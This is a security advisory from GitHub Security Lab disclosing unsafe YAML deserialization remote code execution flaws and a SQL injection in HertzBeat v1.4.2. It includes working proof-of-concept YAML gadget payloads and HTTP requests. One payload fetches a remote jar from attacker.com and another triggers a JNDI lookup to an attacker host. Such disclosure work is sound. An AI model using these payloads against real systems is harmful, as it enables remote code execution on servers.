Coordinated Disclosure Timeline

Summary

HertzBeat is an open-source, real-time monitoring system with custom monitoring, high performance cluster and agentless capabilities, vulnerable to unsafe deserialization and SQL injection.

Project

HertzBeat

Tested Version

v1.4.2

Details

Issue 1: Authenticated (guest role) RCE via unsafe deserialization in /api/apps/define/yml (GHSL-2023-254)

Hertzbeat declares a POST and PUT /define/yml endpoint to add new monitor definitions. In the process, it uses SnakeYaml ‘s loadAs to deserialize the provided configuration, allowing for instantiating arbitrary constructors.

This endpoint is only accessible to authenticated users with the admin, user or guest roles.

@PostMapping(path = "/define/yml")
public ResponseEntity<Message<Void>> newAppDefineYml(@Valid @RequestBody MonitorDefineDto defineDto) {
    try {
        for (String riskyToken : RISKY_STR_ARR) {
            if (defineDto.getDefine().contains(riskyToken)) {
                return ResponseEntity.ok(Message.fail(FAIL_CODE, "can not has malicious remote script"));
            }
        }
        appService.applyMonitorDefineYml(defineDto.getDefine(), false);
    } catch (Exception e) {
        return ResponseEntity.ok(Message.fail(FAIL_CODE, e.getMessage()));
    }
    return ResponseEntity.ok(Message.success());
}

The user-controlled data is checked against RISKY_STR_ARR which contains the following strings that only cover the ScriptEngineManager gadget:

private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader"};

Then, the applyMonitorDefineYml method is called, defined as follows:

public void applyMonitorDefineYml(String ymlContent, boolean isModify) {
  var yaml = new Yaml();
  Job app;
  try {
      app = yaml.loadAs(ymlContent, Job.class);
  } catch (Exception e) {
      log.error(e.getMessage());
      throw new IllegalArgumentException("parse yml error: " + e.getMessage());
  }
  ...
}

Where the user-controlled data is deserialized using SnakeYaml’s loadAs. Even though that it enforces that the provided type (Job.class) matches the type of the yaml data of the request, this check is only done for the overall object, so providing a subtype like the following would be accepted as valid and deserialized:

!!org.dromara.hertzbeat.common.entity.job.Job:
  app: !!com.sun.rowset.JdbcRowSetImpl
    dataSourceName: "rmi://attacker.com:1389/Exploit"
    autoCommit: true

Proof of Concept

In order to exploit this deserialization vulnerability, we can trigger a JNDI resolution against a remote LDAP server using the BeanFactory gadget described by Michael Stepankin in the blog post Exploiting JNDI Injections in Java.

The success of the BeanFactory gadget depends on the Tomcat version used to deploy Hertzbeat as per the replacement of forceString with a String setter lookup.

POST /api/apps/define/yml HTTP/1.1
Host: 127.0.0.1:1157
Authorization: Bearer <<AUTH>>
Content-Type: application/json
Content-Length: 175

{
  "define": "!!org.dromara.hertzbeat.common.entity.job.Job:\n  app: !!com.sun.rowset.JdbcRowSetImpl\n    dataSourceName: \"rmi://127.0.0.1:1097\"\n    autoCommit: true"
}

Impact

This issue may lead to Remote Code Execution.

Resources

Issue 2: Authenticated (user role) RCE via unsafe deserialization in /api/monitors/import (GHSL-2023-255)

Hertzbeat declares a /import endpoint to import monitor configurations. In the process, it uses SnakeYaml to deserialize the provided configuration.

@PostMapping("/import")
public ResponseEntity<Message<Void>> export(MultipartFile file) throws Exception {
  monitorService.importConfig(file);
  return ResponseEntity.ok(Message.success("Import success"));
}

The importConfig method is defined as follows:

@Override
public void importConfig(MultipartFile file) throws Exception {
    var fileName = file.getOriginalFilename();
    if (!StringUtils.hasText(fileName)) {
        return;
    }
    var type = "";
    ...
    if (fileName.toLowerCase().endsWith(YamlImExportServiceImpl.FILE_SUFFIX)) {
        type = YamlImExportServiceImpl.TYPE;
    }
    ...
    var imExportService = imExportServiceMap.get(type);
    imExportService.importConfig(file.getInputStream());
}

For .yaml files, the YamlImExportServiceImpl is used to deserialize the configuration:

public void importConfig(InputStream is) {
    var formList = parseImport(is)
    ...
}

The parseImport method is defined as follows:

List<ExportMonitorDTO> parseImport(InputStream is) {
    Yaml yaml = new Yaml();
    return yaml.load(is);
}

This endpoint is only accessible to authenticated users with the admin or user role as per the following sureness configuration:

/api/monitors/**===post===[admin,user]

Proof of Concept

In order to exploit this deserialization vulnerability, we can instantiate a javax.script.ScriptEngineManager object with a URLClassLoader argument, which will trigger the following constructor. The provided URL points to an attacker-controller server hosting a malicious jar which will execute a command.

POST /api/monitors/import HTTP/1.1
Host: 127.0.0.1:1157
Authorization: <<AUTH>>
Content-Type: multipart/form-data; boundary=----foo
Content-Length: 238

------foo
Content-Disposition: form-data; name="file"; filename="foo.yaml"

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://attacker.com/yaml-payload.jar"]]]]
------foo--

Using artsploit/yaml-payload project, we can build the payload, which, when served, can be fetched by the deserialization of the yaml payload.

Impact

This issue may lead to Remote Code Execution.

Resources

Hertzbeat declares a /api/monitor/{monitorId}/metric/{metricFull} endpoint to download job metrics. In the process, it executes a SQL query with user-controlled data, allowing for SQL injection.

@GetMapping("/api/monitor/{monitorId}/metric/{metricFull}")
public ResponseEntity<Message<MetricsHistoryData>> getMetricHistoryData(
        @PathVariable Long monitorId,
        @PathVariable() String metricFull,
        @RequestParam(required = false) String instance,
        ...
) {
    String[] names = metricFull.split("\\.");
    if (names.length != METRIC_FULL_LENGTH) {
        throw new IllegalArgumentException("metrics full name: " + metricFull + " is illegal.");
    }
    String app = names[0];
    String metrics = names[1];
    String metric = names[2];
    if (history == null) {
        history = "6h";
    }
    Map<String, List<Value>> instanceValuesMap;
    if (interval == null || !interval) {
        instanceValuesMap = historyDataStorage.getHistoryMetricData(monitorId, app, metrics, metric, instance, history);
    } else {
        instanceValuesMap = historyDataStorage.getHistoryIntervalMetricData(monitorId, app, metrics, metric, instance, history);
    }
    ...
}

The metricFull and instance parameters are passed to the getHistoryMetricData method. When using TDEngine, as suggested in the docs, HistoryTdEngineDataStorage::getHistoryMetricData is defined as follows:

public Map<String, List<Value>> getHistoryMetricData(Long monitorId, String app, String metrics, String metric, String instance, String history) {
        String table = app + "_" + metrics + "_" + monitorId;
        String selectSql =  instance == null ? String.format(QUERY_HISTORY_SQL, metric, table, history) :
                String.format(QUERY_HISTORY_WITH_INSTANCE_SQL, metric, table, instance, history);
        log.debug(selectSql);
        Connection connection = null;
        Map<String, List<Value>> instanceValuesMap = new HashMap<>(8);
        try {
            if (!serverAvailable) {
                log.error("\n\t---------------TdEngine Init Failed---------------\n" +
                        "\t--------------Please Config Tdengine--------------\n" +
                        "\t----------Can Not Use Metric History Now----------\n");
                return instanceValuesMap;
            }
            connection = hikariDataSource.getConnection();
            Statement statement = connection.createStatement();
            ResultSet resultSet = statement.executeQuery(selectSql);
            ...
    }

The QUERY_HISTORY_SQL and QUERY_HISTORY_WITH_INSTANCE_SQL are defined as follows:

private static final String QUERY_HISTORY_WITH_INSTANCE_SQL
        = "SELECT ts, instance, `%s` FROM `%s` WHERE instance = '%s' AND ts >= now - %s order by ts desc";
private static final String QUERY_HISTORY_SQL
        = "SELECT ts, instance, `%s` FROM `%s` WHERE ts >= now - %s order by ts desc";

So, the instance parameter is passed to the SQL query without any sanitization.

The HistoryTdEngineDataStorage::getHistoryIntervalMetricData method is also affected by this issue.

This endpoint is only accessible to authenticated users with the admin, user or guest role.

Impact

This issue may lead to Information Disclosure.

Resources

CVE

Credit

These issues were discovered and reported by GHSL team member @jorgectf (Jorge).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-254, GHSL-2023-255, or GHSL-2023-256 in any communication regarding these issues.